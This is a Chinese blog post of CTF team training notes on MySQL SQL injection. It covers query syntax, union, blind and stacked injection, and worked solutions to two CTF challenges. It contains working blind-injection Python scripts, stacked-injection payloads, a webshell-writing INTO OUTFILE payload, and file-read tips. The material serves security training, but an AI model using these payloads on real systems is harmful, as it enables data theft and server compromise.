Sissel's blog

【学习】天枢队内培训-SQL注入部分

字数统计: 3.4k阅读时长: 16 min
2020/12/02 Share

为了让队里的师傅掌握基本的SQL语法,学习盲注的方法。
在学习web安全之前,建议先去学web开发 XD

SQL注入分类

  1. 有回显
    a. 联合查询注入 union
    b. 报错注入 error
  2. 无回显
    a. 基于时间注入 time
    b. 基于布尔注入 boolean
  3. 堆叠注入 stuck

SQL语法

查询

最常用的,从某个表中,查询数据:

1
2
3
4
5
6
SELECT column_name,column_name
FROM table_name;

SELECT * FROM `websites` WHERE id=1; // 分号是语句分隔符,非必须
select * from test.websites where country='CN';
select name from websites where alexa < 20; // alexa排名小于20的,站点名称。

更朴实的查询

类似于其他语言的print,select就是sql语句中的print,但你确认不了某个函数或者语法的输出时,不妨直接select。

1
2
3
select 8*8;
select version(); // 获取当前数据库版本
select left(version(),5); // 获取数据库版本的前五个字节

在命令行中查看数据库和数据

这些命令,也是开发者在拿到一个数据库服务后会做的事情。

1
2
3
4
5
6
show databases; // 查看所有数据库
use test; // 进入test这个数据库
show tables; // 查看这个库里面的所有表
desc websites; // 查看表的结构
show create table websites; //查看建这个表用到的语句,其实也是看表的结构
select * from websites limit 3; // 查看前三条数据

逻辑条件、比较(算数运算符 > < =,逻辑运算符 与 或 非)

从 “Websites” 表中选取国家为 “CN” 且alexa排名大于 “50” 的所有网站。

1
2
3
4
5
6
7
8
9
10
11
SELECT * FROM Websites WHERE country='CN' AND alexa > 50;

select 1>0 and 2<=0; // select 1>0 && 2<=0;
select 1>0 or 2<=0; // select 1>0 || 2<=0;
select name from websites where (id>2 and alexa > 50) //可以用括号选择优先级。

select * from websites where id != 1;
select * from websites where id <> 1;
select * from websites where not(id = 1); // 逻辑 非
select * from websites where trUe;
select * from websites where falSe;

where子句,你可以理解成:MySQL针对 表 中的每行数据,都会去进行一次判断,如果为true 就把他输出出来。

limit、order by

limit可以用来限制查询结果输出的行数,order by用来对查询结果排序。请注意,有特殊的order写法,可以判断前面的列数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SELECT column_name,column_name
FROM table_name
ORDER BY column_name,column_name ASC|DESC;

SELECT * FROM Websites ORDER BY alexa; // 按 alexa 列升序排列。
SELECT * FROM Websites ORDER BY country, alexa; // 按 country 列升序排列,相同则按alexa列排列数据。 还可以通过asc、desc改变升降序

# 特别注意!
SELECT id, name FROM Websites ORDER BY 1; // 按 第一列 排序
SELECT id, name FROM Websites ORDER BY 2; // 按 第二列 排序
SELECT id, name FROM Websites ORDER BY 100; // 按 第一百列 排序,报错!
可以通过这个方法,推测前面查询了几列

select * from Websites where id >=1 limit 2; //控制输出结果为(第零条开始),一共两条。
select * from Websites where id >=1 limit 1,2; //控制输出结果为第一条开始,一共两条。要注意写代码中,数组都是从0开始的。

对查询结果处理

除了在where子句中,我们也可以对查询的字段做处理

1
2
3
select id, name, alexa from  websites;
select id, name, 2*alexa from websites;
select id, name, 2*alexa, 'aaaaa' from websites;

sql语言中的函数

1
2
3
select version();
select @@version; //另一种非函数调用的写法查询版本。
select user(); // database()

从字符和ascii开始

任何语言,都逃不掉学习ascii码和字符互相转换的方法。XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
select ascii('a');
select ord('a');
select char(97);
select ascii('a')=0x61; // 97
select hex(1234); // 转成十六进制
select hex('abcd'); // hex编码
select unhex(61626364);
SELECT unhex('61626364')

试试下面的语句,会发现一些问题。SQL语句是不区分大小写的。
select 'a' = 'A';

select binary('a') = binary('A');
SELECT * FROM TABLE NAME WHERE name='mimvp.com';
SELECT * FROM TABLE NAME WHERE name='MiMVP.com'; // 结果相同
SELECT * FROM TABLE NAME WHERE BINARY name='MiMVP.com'; // 解决方法,加入binary关键字

binary是MySQL一种数据类型。

字符串截取

一共有五种方式可以截取字符串,同时还有一个变形

1
2
3
4
5
6
7
8
9
10
select substr('abcd',2,1); // 从第二个字符开始,截一个
select substring('abcd',2,1);
select mid('abcd',2,1);
select left('abcd',2); // 截字符串前两个字节
select right('abcd',2); // 截字符串后两个字节

select left('abcd',2)='ab';

select substr('abcd' from 1 for 2); //这就是变形,注意没有用到逗号
select substring('abcd' from 1 for 2); //mid也行

算数运算符

首先是最基本的运算

1
select 8+8; // - * / % ^ 模和异或 & | 

算术运算符-比较

有无数种方式来判断两个 值 是否相等。看看你能想到比我更多的吗hh
// 数字和数字,输出的结果为1/true,即为真。0/false,为假。或者适用于多个元素的一些写法

1
2
3
4
5
6
7
8
9
select 1=0;
select 1!=0; // <>
select 1<=0;
select 1^1; // 异或,自己异或自己为0,1^2 不为0
select 1^1=0; // 异或,自己异或自己为0,1^2 不为0
select 1-1; // 相减,为0即为false
select 5 between 2 and 10;
select * from websites where id between 2 and 4; // between
select * from websites where id in (1,4,5);

// 字符或字符串,非常多的比较方法

1
2
3
4
5
6
7
select 'a' = 'a';
select ascii('a') = 97; // 转换为数字进行比较
select 'abcdefgh' like 'abc%'; // abcedfgh的开头为abc,%替换任意数量的任意字符
select 'abcdefgh' like '%abc%'; // 字符串里是否含abc
select 'abcd' like 'abc_'; // 字符串是否是 abcx
select 'abcd' like '_abc_'; // 字符串是否是 xabcx
select * from websites where url LIKE 'https%';

学习一下like子句,类似模糊搜索。通配符 % ,仅代替一个字符的 _ 。
同时在数据库中,你可以用 十六进制代替数字和字符串(info -> 0x696e666f)

算术运算符-比较2

还有正则表达式。
regexp:正则表达式匹配
SELECT * FROM Websites WHERE name REGEXP ‘^[GFs]’;

以上两部分都可以参考菜鸟教程:https://www.runoob.com/sql/sql-wildcards.html

其他函数

SQL语法要学的不剩太多了。

1
2
3
select len('abcdefg');
select group_concat(name) from websites; // 多行变一行
select concat("a","b","c");

联合查询

可以将两个select的查询结果,拼接在一起。注意用union select ,两次查询结果列数不相同会报错。

1
2
3
SELECT id, name, alexa FROM `websites` where id <3 union select 1,2,3; 

SELECT id, name, alexa FROM `websites` where id <3 union select 1,2;

注释

SQL中注释的方式很多,他们常用来绕过不能使用空格的情况。

1
2
3
4
5
6
select 123; #hi
select 123; -- 1234 注意,--后面必须有一个空白字符!
select/*hi*/123; //hi

/*!select*/1234; // 神奇的写法!其实是用来根据不同版本决定执行什么命令
select sleep/**/(5);

等待

等待也有两种形式

1
2
select sleep(5);
select BENCHMARK(1000000,ENCODE('hello','goodbye'));

特殊的库

information_schema,里面的三个重要的table。

1
2
3
SELECT `SCHEMA_NAME` FROM `SCHEMATA`;
SELECT `TABLE_NAME` FROM `TABLES` where table_schema="test";
SELECT COLUMN_NAME FROM `COLUMNS` WHERE `TABLE_NAME` = 'websites';

判断

1
2
select if(1,1,0);
select case when then;

SQL注入

过滤输入

  • 输入中存在关键字union,立刻终止执行
  • 输入中存在关键字union,会将其置空(双写绕过) uniunionOn select 1,2,3;
  • 输入中存在关键字union,会将其替换成别的 xxxx

更好的payload(使用group_concat)

1
2
3
4
5
6
查库名
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
查表名
select group_concat(table_name) from information_schema.tables where table_schema='security'
查列名
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

select语句结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
select
[all | distinct | distinctrow]
[high_priority]
[straight_join]
[sql_small_result] [sql_big_result] [sql_buffer_result] [sql_cache] [sql_no_cache] ...
select_expr[, select_expr ...]
[from table_references
[where condition]
[group by {col_name | expr | postion}
[asc|desc], ... [with rollup]]
[having xxx]
[order by xxx]
[limit ]
[procudure]
[into outfile|into dumpfile|into var_name]
[for update|lock in share mode]

注入步骤

  1. 猜测sql语句结构,尝试插入逻辑语句来闭合语句,探测各种状态(成功、报错、waf)
  2. 探测waf内容(用字典fuzz)
  3. 尝试联合查询(union select)报错注入(Error based)
  4. 是否可以时间盲注/布尔盲注?
  5. 选择注出数据 user()/ @@user / database()
  6. 完成payload user()->select flag from flag

SQLi-lab(SQL注入练习平台) buuoj上就有

https://github.com/Audi-1/sqli-labs
结合”SQL注入天书”,用来入门sql注入:https://github.com/lcamry/sqli-labs
SQL注入刷题 buuoj

【布尔盲注/5.7新特性/无列名盲注】[GYCTF2020]Ezsqli

首先观察到
1 -> nu1l
2 -> V&N
2-1 -> nu1l
推测是id=x,使用逻辑语句闭合SQL语句。
id=1^(ascii(substr(database(),1,1))>95)
// 因为过滤了or,所以我们用不了information_schema,这种情况下,我们通常考虑注本表里的数据,或者利用mysql5.7的新特性。
id=1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),1,1))>95); // 得到了 表名

MySQL5.7中,sys库中有很多表存有table_name。查询表数据结构(有很多,基本都是从MySQL5.7开始的新特性)
● information_schema
● sys.schema_auto_increment_columns
● sys.schema_table_statistics_with_buffer
● sys.schema_index_statistics
https://dev.mysql.com/doc/refman/8.0/en/sys-schema-index-statistics.html
● mysql.innodb_table_stats
https://dev.mysql.com/doc/refman/5.6/en/innodb-persistent-stats.html

id=1^(ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),1,1))>95) //靠猜测,得到列名是flag

// 或者选择使用无列名注入,分为两步,首先判断里面的列数(2列),进而逐渐注出数据
(select 1,1) > (select from websites)
(select 1,1,1) > (select
from websites)
id=0^((1,’g’)>(select * from f1ag_1s_h3r3_hhhhh))

网上找到了一个题解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# coding:utf-8 
import requests
import time
url = 'http://14b858fa-e701-47da-a11a-304ef60eb42d.node3.buuoj.cn/'
def str_hex(s): #十六进制转换 fl ==> 0x666c
res = ''
for i in s:
res += hex(ord(i)).replace('0x','')
res = '0x' + res
return res

res = ''
for i in range(1,200):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1)
while left < right:
#payload = '1^(ascii(substr(database(),{},1))>{})'.format(i,mid) #爆库
#payload = '1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{},1))>{})'.format(i,mid) #爆表
#payload = '1^(ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{},1))>{})'.format(i,mid) #猜测f1ag_1s_h3r3_hhhhh中的列名为flag
key = (str_hex(res+chr(mid)))
payload = "1 ^ ( (select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)
data = {
'id':payload
}
r = requests.post(url = url, data = data)
if r.status_code == 429:
print('too fast')
time.sleep(2)
if 'Nu1L' in r.text:
left = mid + 1
elif 'Nu1L' not in r.text:
right = mid
mid = left + ((right-left)>>1)
if mid == 31 or mid == 127:
break
#res += chr(mid) #爆表
res += chr(mid-1) #爆flag
print(str(mid),res)
#give_grandpa_pa_pa_pa
#news,users,f1ag_1s_h3r3_hhhhh,users233333333333333
#flag{8ebdb3ac-1d0e-47f3-82d5-ef5b4d20fe70}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://bb098698-4715-4fbf-853c-23007c53cb41.node3.buuoj.cn/index.php'
flag='FLAG{'
for j in range(1,50):
for x in range(28, 128):
flag1 = flag+chr(x)
payload = "0^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)

data = {'id': payload}
re = requests.post(url=url, data=data)

if 'Nu1L' in re.text:
break;

flag += chr(x-1)
print(flag)

堆叠注入

【堆叠注入】QWB2019 - 随便注

buuoj上有环境

1. 查看数据库结构等

1
2
3
4
5
show databases;
show tables;
show columns from words;
show variables like '%file%'; //查看配置
show create table words; // 查看建表语句

2. handler

1
2
3
4
5
6
7
8
9
handler被设计直接访问存储引擎(访问更快)
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

handler`1919810931114514`open;
handler`1919810931114514`read first;

3. set变量

1
2
3
4
5
6
7
8
set @sql="select * from flag"; # 转为了字符串
prepare gogotttt from @sql;
EXECUTE gogotttt;

id=1';sEt @xxxx=concat("s","elect * from `1919810931114514`");
id=1';sEt @xxxx=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prePare gogo from @xxxx;
EXECUTE gogo;

4. 操作库/表

此操作不可逆,谨慎使用。
好的出题人可能会设置当前用户,alter/rename/drop的权限。

1
2
3
4
5
6
rename table `words` to `wordsxxx`;
rename table `1919810931114514` to `words`;

alter table `words` change `flag` `id` varchar(100) character utf8_general_ci NOT NULL;# 修改表的结构
或者
alter table `words` add(id int default 1);

5. 本题的其他做法

写webshell

1
2
3
4
5
6
7
8
9
import requests
payload = "select '<?php phpinfo();' into outfile '/var/www/html/sissel123.php'"
output = '''
set @sql=0x{};
PREPARE gogo FROM @sql;
EXECUTE gogo;
'''.format(payload.encode('hex')).replace('\n','')

print output

6. 使用存储过程

1
2
3
4
5
6
7
8
9
10
11
12
13
create procedure funct(out string text(1024))
begin
set string=0x73656c65637420666c61672066726f6d206031393139383130393331313134353134603b;
end;

call funct(@payload); # 将@payload的值赋为0x73656c65637420666……;
prepare bbb from @payload; # 预处理
execute bbb; # 执行

最终payload:
?inject=1';create procedure funct(out string text(1024)) begin set string=0x73656c65637420666c61672066726f6d206031393139383130393331313134353134603b;end;#

?inject=1';call funct(@payload);prepare bbb from @payload;execute bbb;deallocate bbb;#

补充

  1. 猜测列数
    order by、union select
  2. 报错注入
    https://blog.csdn.net/like98k/article/details/79646512
  3. 无列名注入(以比较、join的思路)or informa
  4. 8.0新特性(TABLE t;)
    http://wh1sper.com/roarctf-2020/
  5. 除了information_schema以外,还有哪些表有库表列。(5.7新特性)
  6. 二次注入(做完对应题之后,考虑为什么有这个洞)
    多搜搜

补充2

  1. md5注入
    https://blog.csdn.net/greyfreedom/article/details/45846137
  2. 奇怪的绕过方法
    sleep/**/(5)
  3. sql注入 getshell(读写文件)
    a. into outfile
    b. log
    c. phpmyadmin cve
    load_file(/var/www/html/config.php)
CATALOG
  1. 1. SQL注入分类
  2. 2. SQL语法
    1. 2.1. 查询
    2. 2.2. 更朴实的查询
    3. 2.3. 在命令行中查看数据库和数据
    4. 2.4. 逻辑条件、比较(算数运算符 > < =,逻辑运算符 与 或 非)
    5. 2.5. limit、order by
    6. 2.6. 对查询结果处理
    7. 2.7. sql语言中的函数
    8. 2.8. 从字符和ascii开始
    9. 2.9. 字符串截取
    10. 2.10. 算数运算符
    11. 2.11. 算术运算符-比较
    12. 2.12. 算术运算符-比较2
    13. 2.13. 其他函数
    14. 2.14. 联合查询
    15. 2.15. 注释
    16. 2.16. 等待
    17. 2.17. 特殊的库
    18. 2.18. 判断
  3. 3. SQL注入
    1. 3.1. 更好的payload(使用group_concat)
    2. 3.2. select语句结构
    3. 3.3. 注入步骤
    4. 3.4. SQLi-lab(SQL注入练习平台) buuoj上就有
    5. 3.5. 【布尔盲注/5.7新特性/无列名盲注】[GYCTF2020]Ezsqli
  4. 4. 堆叠注入
    1. 4.1. 【堆叠注入】QWB2019 - 随便注
      1. 4.1.1. 1. 查看数据库结构等
      2. 4.1.2. 2. handler
      3. 4.1.3. 3. set变量
      4. 4.1.4. 4. 操作库/表
      5. 4.1.5. 5. 本题的其他做法
      6. 4.1.6. 6. 使用存储过程
  5. 5. 补充
  6. 6. 补充2